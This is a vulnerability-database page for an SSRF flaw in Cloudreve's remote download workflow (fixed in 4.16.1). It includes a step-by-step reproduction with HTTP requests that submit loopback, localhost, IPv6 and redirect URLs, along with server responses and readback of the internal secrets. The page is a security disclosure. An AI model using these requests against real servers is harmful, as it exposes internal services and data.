Vulnerability-Lookup

CVE-2026-54562 (GCVE-0-2026-54562)

Vulnerability from cvelistv5 – Published: 2026-07-15 14:37 – Updated: 2026-07-15 15:00

Title

Cloudreve: Non-admin remote download users can SSRF loopback/internal services and read imported responses

Summary

Cloudreve is a self-hosted file management and sharing system. Prior to 4.16.1, Cloudreve's remote download workflow accepts user-supplied URLs at POST /api/v4/workflow/download and passes them to the configured downloader without blocking loopback, localhost, IPv6 localhost, or redirect-to-loopback targets, allowing a non-admin user with remote download permission to fetch internal-only URLs and read the response after it is imported into the user's own files. This issue is fixed in version 4.16.1.

Severity

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-15 15:00 UTC

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7637 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/cloudreve/cloudreve/security/a…	x_refsource_CONFIRM
https://github.com/cloudreve/cloudreve/commit/aae…	x_refsource_MISC
https://github.com/cloudreve/cloudreve/releases/t…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
cloudreve	cloudreve	Affected: < 4.16.1	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-54562

Vulnerability from fkie_nvd - Published: 2026-07-15 15:16 - Updated: 2026-07-15 18:15

Severity

6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/cloudreve/cloudreve/commit/aaebf317a78f2413d74afd66c21a1f3143711312
	security-advisories@github.com	https://github.com/cloudreve/cloudreve/releases/tag/4.16.1
	security-advisories@github.com	https://github.com/cloudreve/cloudreve/security/advisories/GHSA-x756-g4x3-c64m
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/cloudreve/cloudreve/security/advisories/GHSA-x756-g4x3-c64m

Impacted products

	Vendor	Product	Version

JSON

To clipboard

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          "product": "cloudreve",
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GHSA-X756-G4X3-C64M

Vulnerability from github – Published: 2026-07-20 21:16 – Updated: 2026-07-20 21:16

Summary

Cloudreve: Non-admin remote download users can SSRF loopback/internal services and read imported responses

Details

Summary

Cloudreve's remote download workflow accepts user-supplied URLs and passes them to the configured downloader without blocking loopback, localhost, IPv6 localhost, or redirect-to-loopback targets.

When the remote download permission is granted to a non-admin user group, a normal authenticated user can make the server-side downloader fetch internal-only URLs and then read the fetched response after it is imported into the user's own Cloudreve files.

This does not affect default normal users unless the remote download permission is enabled for their group. However, the permission is a feature-level user-group capability and does not make the user an administrator.

Attacker requirements

The attacker must be:

authenticated
non-admin
in a user group where GroupPermissionRemoteDownload is enabled

Default normal users are blocked from the affected workflow. In the default install, only the admin group has the remote download permission, while the default User group does not.

Affected endpoint

POST /api/v4/workflow/download

Follow-up attacker readback was performed through normal workflow and file APIs:

GET /api/v4/workflow?category=downloaded...
GET /api/v4/file?uri=cloudreve://my...
POST /api/v4/file/url

Root cause

The remote download workflow checks whether the user group has remote download permission, but it does not validate the submitted URL before passing it to the downloader.

Relevant code paths:

service/explorer/workflows.go:81
pkg/filemanager/workflows/remote_download.go:202
pkg/downloader/aria2/aria2.go:56

The application does not block loopback, localhost, IPv6 localhost, or redirect targets resolving to internal addresses.

Impact

A non-admin user with remote download permission can use Cloudreve as an SSRF primitive to access services reachable from the downloader environment.

In my test, the attacker could fetch internal loopback URLs and read the response body after Cloudreve imported the downloaded content into the attacker's own files.

Confirmed targets:

http://127.0.0.1:7777/secret2
http://localhost:7777/localsecret
http://[::1]:7780/v6secret
redirect to http://127.0.0.1:7777/redirsecret

This can expose internal HTTP services, loopback-only admin panels, local service metadata, or other network resources that are not directly reachable by the attacker.

Reproduction

1. Permission negative control

The attacker is a normal non-admin user in the default User group.

Before enabling remote download for the group:

POST /api/v4/workflow/download
Content-Type: application/json

{"src":["http://127.0.0.1:7777/secret"],"dst":"cloudreve://my"}

Response:

{"code":40007,"msg":"Group not allowed to download files"}

2. Enable only remote download permission for the non-admin group

The default install grants remote download to the admin group only. The default User group does not have it.

Confirmed in:

inventory/migration.go:154
inventory/migration.go:179

For this test, I only changed group 2 permissions from:

hAg=

to:

hAo=

The attacker remained in the User group and was not made admin. GET /api/v4/user/me still returned the group name as User.

3. Start an internal listener

Example listener on the Cloudreve host:

127.0.0.1:7777

The listener returned a marker response:

SSRF_SECRET_2_20260527

4. Queue a remote download to loopback

POST /api/v4/workflow/download
Content-Type: application/json

{"src":["http://127.0.0.1:7777/secret2"],"dst":"cloudreve://my"}

Response:

{"code":0,"data":[{"id":"OzH4","status":"queued","type":"remote_download"}]}

The internal listener received the request:

127.0.0.1 - - [27/May/2026 13:00:46] "GET /secret2 HTTP/1.1" 200 -

Aria2 completed the download:

Download complete: /home/b4r/cysec/cvehunting/cloudreve/data/temp/.../secret2

5. Read the imported internal response as the attacker

The task completed successfully:

{"id":"OzH4","status":"completed","summary":{"props":{"src_str":"http://127.0.0.1:7777/secret2","failed":0}}}

The attacker could list the imported file:

{"name":"secret2","path":"cloudreve://my/secret2"}

The attacker could then download and read the response body:

SSRF_SECRET_2_20260527

Additional validated variants

localhost

Input:

http://localhost:7777/localsecret

Attacker readback:

LOCALHOST_SECRET_20260527

Redirect to loopback

Input:

http://127.0.0.1:7779/anything

Redirect:

302 Location: http://127.0.0.1:7777/redirsecret

Attacker readback:

REDIR_SECRET_20260527

IPv6 localhost

Input:

http://[::1]:7780/v6secret

Attacker readback:

IPV6_SECRET_20260527

Expected behavior

Cloudreve should reject remote download URLs that resolve to loopback, localhost, private network ranges, link-local ranges, metadata service ranges, or other internal-only targets unless explicitly allowed by an administrator.

Redirect targets should be checked with the same policy.

Actual behavior

Cloudreve accepts the URL, passes it to the downloader, imports the fetched internal response into the attacker's files, and allows the attacker to read it.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cloudreve/Cloudreve/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.0-20260606025411-aaebf317a78f"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cloudreve/Cloudreve/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.0.0-20250225100611-da4e44b77af4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54562"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:16:51Z",
    "nvd_published_at": "2026-07-15T15:16:44Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nCloudreve\u0027s remote download workflow accepts user-supplied URLs and passes them to the configured downloader without blocking loopback, localhost, IPv6 localhost, or redirect-to-loopback targets.\n\nWhen the remote download permission is granted to a non-admin user group, a normal authenticated user can make the server-side downloader fetch internal-only URLs and then read the fetched response after it is imported into the user\u0027s own Cloudreve files.\n\nThis does not affect default normal users unless the remote download permission is enabled for their group. However, the permission is a feature-level user-group capability and does not make the user an administrator.\n\n## Attacker requirements\n\nThe attacker must be:\n\n- authenticated\n- non-admin\n- in a user group where `GroupPermissionRemoteDownload` is enabled\n\nDefault normal users are blocked from the affected workflow. In the default install, only the admin group has the remote download permission, while the default `User` group does not.\n\n## Affected endpoint\n\n```http\nPOST /api/v4/workflow/download\n```\n\nFollow-up attacker readback was performed through normal workflow and file APIs:\n\n```http\nGET /api/v4/workflow?category=downloaded...\nGET /api/v4/file?uri=cloudreve://my...\nPOST /api/v4/file/url\n```\n\n## Root cause\n\nThe remote download workflow checks whether the user group has remote download permission, but it does not validate the submitted URL before passing it to the downloader.\n\nRelevant code paths:\n\n- `service/explorer/workflows.go:81`\n- `pkg/filemanager/workflows/remote_download.go:202`\n- `pkg/downloader/aria2/aria2.go:56`\n\nThe application does not block loopback, localhost, IPv6 localhost, or redirect targets resolving to internal addresses.\n\n## Impact\n\nA non-admin user with remote download permission can use Cloudreve as an SSRF primitive to access services reachable from the downloader environment.\n\nIn my test, the attacker could fetch internal loopback URLs and read the response body after Cloudreve imported the downloaded content into the attacker\u0027s own files.\n\nConfirmed targets:\n\n- `http://127.0.0.1:7777/secret2`\n- `http://localhost:7777/localsecret`\n- `http://[::1]:7780/v6secret`\n- redirect to `http://127.0.0.1:7777/redirsecret`\n\nThis can expose internal HTTP services, loopback-only admin panels, local service metadata, or other network resources that are not directly reachable by the attacker.\n\n## Reproduction\n\n### 1. Permission negative control\n\nThe attacker is a normal non-admin user in the default `User` group.\n\nBefore enabling remote download for the group:\n\n```http\nPOST /api/v4/workflow/download\nContent-Type: application/json\n\n{\"src\":[\"http://127.0.0.1:7777/secret\"],\"dst\":\"cloudreve://my\"}\n```\n\nResponse:\n\n```json\n{\"code\":40007,\"msg\":\"Group not allowed to download files\"}\n```\n\n### 2. Enable only remote download permission for the non-admin group\n\nThe default install grants remote download to the admin group only. The default `User` group does not have it.\n\nConfirmed in:\n\n- `inventory/migration.go:154`\n- `inventory/migration.go:179`\n\nFor this test, I only changed group 2 permissions from:\n\n```text\nhAg=\n```\n\nto:\n\n```text\nhAo=\n```\n\nThe attacker remained in the `User` group and was not made admin. `GET /api/v4/user/me` still returned the group name as `User`.\n\n### 3. Start an internal listener\n\nExample listener on the Cloudreve host:\n\n```text\n127.0.0.1:7777\n```\n\nThe listener returned a marker response:\n\n```text\nSSRF_SECRET_2_20260527\n```\n\n### 4. Queue a remote download to loopback\n\n```http\nPOST /api/v4/workflow/download\nContent-Type: application/json\n\n{\"src\":[\"http://127.0.0.1:7777/secret2\"],\"dst\":\"cloudreve://my\"}\n```\n\nResponse:\n\n```json\n{\"code\":0,\"data\":[{\"id\":\"OzH4\",\"status\":\"queued\",\"type\":\"remote_download\"}]}\n```\n\nThe internal listener received the request:\n\n```text\n127.0.0.1 - - [27/May/2026 13:00:46] \"GET /secret2 HTTP/1.1\" 200 -\n```\n\nAria2 completed the download:\n\n```text\nDownload complete: /home/b4r/cysec/cvehunting/cloudreve/data/temp/.../secret2\n```\n\n### 5. Read the imported internal response as the attacker\n\nThe task completed successfully:\n\n```json\n{\"id\":\"OzH4\",\"status\":\"completed\",\"summary\":{\"props\":{\"src_str\":\"http://127.0.0.1:7777/secret2\",\"failed\":0}}}\n```\n\nThe attacker could list the imported file:\n\n```json\n{\"name\":\"secret2\",\"path\":\"cloudreve://my/secret2\"}\n```\n\nThe attacker could then download and read the response body:\n\n```text\nSSRF_SECRET_2_20260527\n```\n\n## Additional validated variants\n\n### localhost\n\nInput:\n\n```text\nhttp://localhost:7777/localsecret\n```\n\nAttacker readback:\n\n```text\nLOCALHOST_SECRET_20260527\n```\n\n### Redirect to loopback\n\nInput:\n\n```text\nhttp://127.0.0.1:7779/anything\n```\n\nRedirect:\n\n```text\n302 Location: http://127.0.0.1:7777/redirsecret\n```\n\nAttacker readback:\n\n```text\nREDIR_SECRET_20260527\n```\n\n### IPv6 localhost\n\nInput:\n\n```text\nhttp://[::1]:7780/v6secret\n```\n\nAttacker readback:\n\n```text\nIPV6_SECRET_20260527\n```\n\n## Expected behavior\n\nCloudreve should reject remote download URLs that resolve to loopback, localhost, private network ranges, link-local ranges, metadata service ranges, or other internal-only targets unless explicitly allowed by an administrator.\n\nRedirect targets should be checked with the same policy.\n\n## Actual behavior\n\nCloudreve accepts the URL, passes it to the downloader, imports the fetched internal response into the attacker\u0027s files, and allows the attacker to read it.",
  "id": "GHSA-x756-g4x3-c64m",
  "modified": "2026-07-20T21:16:51Z",
  "published": "2026-07-20T21:16:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cloudreve/cloudreve/security/advisories/GHSA-x756-g4x3-c64m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54562"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cloudreve/cloudreve/commit/aaebf317a78f2413d74afd66c21a1f3143711312"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cloudreve/cloudreve"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cloudreve/cloudreve/releases/tag/4.16.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Cloudreve: Non-admin remote download users can SSRF loopback/internal services and read imported responses"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

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Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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CVE-2026-54562 (GCVE-0-2026-54562)

FKIE_CVE-2026-54562

GHSA-X756-G4X3-C64M

Summary

Attacker requirements

Affected endpoint

Root cause

Impact

Reproduction

1. Permission negative control

2. Enable only remote download permission for the non-admin group

3. Start an internal listener

4. Queue a remote download to loopback

5. Read the imported internal response as the attacker

Additional validated variants

localhost

Redirect to loopback

IPv6 localhost

Expected behavior

Actual behavior

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Sightings

Nomenclature

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